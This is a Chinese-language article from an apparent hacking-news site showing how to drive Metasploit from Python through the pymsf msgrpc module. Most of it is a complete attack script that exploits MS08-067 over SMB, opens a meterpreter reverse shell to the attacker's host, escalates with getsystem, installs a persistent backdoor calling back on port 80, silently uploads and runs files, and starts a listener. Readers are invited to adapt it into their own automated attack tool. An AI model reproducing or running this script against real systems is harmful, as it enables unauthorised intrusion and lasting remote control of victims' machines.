教你用Python玩转神器Metasploit

教你用Python玩转神器Metasploit

入侵渗透hacker2017-06-20 8:41:348624A+A-

pymsf是著名安全研究团队Spiderlabs实现的一个Python与Metasploit msgrpc进行通信的python模块,通过它,你可以利用Python玩转渗透测试框架Metasploit。

使用步骤

首先你需要先启动msgrpc服务,命令如下:

  1. load msgrpc Pass=<password>

复制代码

与msgrpc进行通信其实就是与msfconsole进行通信,首先你需要创建一个msfrpc的类,登录到msgrpc服务器并且创建一个虚拟
的终端,然后你就可以在你创建的虚拟终端上面执行多个命令的字符串.你可以调用模块的方法与console.write执行命令,并且通
过"console.read"从虚拟终端上面读取输入的值.这篇文章将演示如何使用pymsf模块并且如何开发出一个完整的脚本.

这里有一个函数它创建了一个msfrpc实例,登录到msgrpc服务器,并且创建了一个虚拟终端.

  1. def sploiter(RHOST, LHOST, LPORT, session):

  2.     client = msfrpc.Msfrpc({})

  3.     client.login('msf', '123')

  4.     ress = client.call('console.create')

  5.     console_id = ress['id']

复制代码

下一步就是实现把多个字符串发给虚拟终端,通过console.write和console.read在虚拟终端显示与读取:

  1. ## Exploit MS08-067 ##

  2. commands = """use exploit/windows/smb/ms08_067_netapi

  3. set PAYLOAD windows/meterpreter/reverse_tcp

  4. set RHOST """+RHOST+"""

  5. set LHOST """+LHOST+"""

  6. set LPORT """+LPORT+"""

  7. set ExitOnSession false

  8. exploit -z

  9. """

  10. print "[+] Exploiting MS08-067 on: "+RHOST

  11. client.call('console.write',[console_id,commands])

  12. res = client.call('console.read',[console_id])

  13. result = res['data'].split('\n')

复制代码

上面的这一小段代码创建了一个MSF的资源文件,这样你就可以通过"resoucen
"命令去执行指定文件里面中一系列的命令。

下面我们将通过"getsystem"命令把这个文件的提权,建立一个后门打开80端口来转发.并且永久的运
行.最后上传我们的漏洞exp并且在命令模式下面悄悄的安装:

  1. # 这个函数会创建一个MSF .rc文件

  2. def builder(RHOST, LHOST, LPORT):

  3.      post = open('/tmp/smbpost.rc', 'w')

  4.      bat = open('/tmp/ms08067_install.bat', 'w')


  5.      postcomms = """getsystem

  6. run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""

  7. cd c:\\

  8. upload /tmp/ms08067_patch.exe c:\\

  9. upload /tmp/ms08067_install.bat c:\\

  10. execute -f ms08067_install.bat

  11. """

  12.      batcomm = "ms08067_patch.exe /quiet"

  13.      post.write(postcomms); bat.write(batcomm)

  14.      post.close(); bat.close()

复制代码

通过上面的那段代码,将会创建一个.rc的文件.通过msf模块“post/multi/gather/run_console_rc_file”在当前
的meterpreter会话中运行生成的文件,并且通过console.write命令从虚拟终端写入数据,通过console.read命令来回显返回内容:

  1. ## 运行生成的exp ##

  2. runPost = """use post/multi/gather/run_console_rc_file

  3. set RESOURCE /tmp/smbpost.rc

  4. set SESSION """+session+"""

  5. exploit

  6. """

  7.      print "[+] Running post-exploit script on: "+RHOST

  8.      client.call('console.write',[console_id,runPost])

  9.      rres = client.call('console.read',[console_id])

  10. ## Setup Listener for presistent connection back over port 80 ##

  11.      sleep(10)

  12.      listen = """use exploit/multi/handler

  13. set PAYLOAD windows/meterpreter/reverse_tcp

  14. set LPORT 80

  15. set LHOST """+LHOST+"""

  16. exploit

  17. """

  18. print "[+] Setting up listener on: "+LHOST+":80"

  19. client.call('console.write',[console_id,listen])

  20. lres = client.call('console.read',[console_id])

  21. print lres

复制代码

上面代码中的变量(RHOST, LHOST,
LPORT等)都是通过optparse模块从命令终端输入的,完整的脚本托管在github上面,有时候你需要知道脚本的生成的地方都是静态地址,不会
在其他的目录生成,例如ms08067的补丁就会在你的/tmp/目录下面。

大家只要知道基础然后对下面的代码进行一定的修改就可以编程一个属于你自己的
msf自动化攻击脚本,我们建议通过博客里面发表的一些简单的例子出发,然后自己写一个msf攻击脚本:

  1. import os, msfrpc, optparse, sys, subprocess

  2. from time import sleep


  3. # Function to create the MSF .rc files

  4. def builder(RHOST, LHOST, LPORT):

  5.      post = open('/tmp/smbpost.rc', 'w')

  6.      bat = open('/tmp/ms08067_install.bat', 'w')


  7.      postcomms = """getsystem

  8. run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""

  9. cd c:\\

  10. upload /tmp/ms08067_patch.exe c:\\

  11. upload /tmp/ms08067_install.bat c:\\

  12. execute -f ms08067_install.bat

  13. """

  14.      batcomm = "ms08067_patch.exe /quiet"

  15.      post.write(postcomms); bat.write(batcomm)

  16.      post.close(); bat.close()


  17. # Exploits the chain of rc files to exploit MS08-067, setup persistence, and patch

  18. def sploiter(RHOST, LHOST, LPORT, session):

  19.      client = msfrpc.Msfrpc({})

  20.         client.login('msf', '123')

  21.         ress = client.call('console.create')

  22.         console_id = ress['id']


  23. ## Exploit MS08-067 ##

  24.      commands = """use exploit/windows/smb/ms08_067_netapi

  25. set PAYLOAD windows/meterpreter/reverse_tcp

  26. set RHOST """+RHOST+"""

  27. set LHOST """+LHOST+"""

  28. set LPORT """+LPORT+"""

  29. set ExitOnSession false

  30. exploit -z

  31. """

  32.      print "[+] Exploiting MS08-067 on: "+RHOST

  33.      client.call('console.write',[console_id,commands])

  34.      res = client.call('console.read',[console_id])

  35.      result = res['data'].split('\n')


  36. ## Run Post-exploit script ##

  37.      runPost = """use post/multi/gather/run_console_rc_file

  38. set RESOURCE /tmp/smbpost.rc

  39. set SESSION """+session+"""

  40. exploit

  41. """

  42.      print "[+] Running post-exploit script on: "+RHOST

  43.      client.call('console.write',[console_id,runPost])

  44.      rres = client.call('console.read',[console_id])

  45. ## Setup Listener for presistent connection back over port 80 ##

  46.      sleep(10)

  47.      listen = """use exploit/multi/handler

  48. set PAYLOAD windows/meterpreter/reverse_tcp

  49. set LPORT 80

  50. set LHOST """+LHOST+"""

  51. exploit

  52. """

  53.      print "[+] Setting up listener on: "+LHOST+":80"

  54.      client.call('console.write',[console_id,listen])

  55.      lres = client.call('console.read',[console_id])

  56.      print lres


  57. def main():

  58.         parser = optparse.OptionParser(sys.argv[0] +\

  59.         ' -p LPORT -r RHOST -l LHOST')

  60.         parser.add_option('-p', dest='LPORT', type='string', \

  61.         help ='specify a port to listen on')

  62.         parser.add_option('-r', dest='RHOST', type='string', \

  63.         help='Specify a remote host')

  64.         parser.add_option('-l', dest='LHOST', type='string', \

  65.         help='Specify a local host')

  66.      parser.add_option('-s', dest='session', type='string', \

  67.         help ='specify session ID')

  68.      (options, args) = parser.parse_args()

  69.      session=options.session

  70.      RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT


  71.      if (RHOST == None) and (LPORT == None) and (LHOST == None):

  72.                 print parser.usage

  73.                 sys.exit(0)


  74.      builder(RHOST, LHOST, LPORT)

  75.      sploiter(RHOST, LHOST, LPORT, session)


  76. if __name__ == "__main__":

  77.       main()

复制代码


点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 4条评论
  • 辞眸北槐2022-05-28 01:25:44
  • 39;-s', dest='session', type='string', \        help ='specify sessio
  • 瑰颈傻梦2022-05-28 00:55:21
  • 提权,建立一个后门打开80端口来转发.并且永久的运行.最后上传我们的漏洞exp并且在命令模式下面悄悄的安装:# 这个函数会创建一个MSF .rc文件def builder(RHOST, LHOST,
  • 鸠骨惘说2022-05-28 07:29:46
  • bsp;  client.login('msf', '123')     &nb
  • 森槿纵遇2022-05-28 03:55:10
  • ost.close(); bat.close()复制代码通过上面的那段代码,将会创建一个.rc的文件.通过msf模块“post/multi/gather/run_console_rc_file”在当前的meterpreter会话中运

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理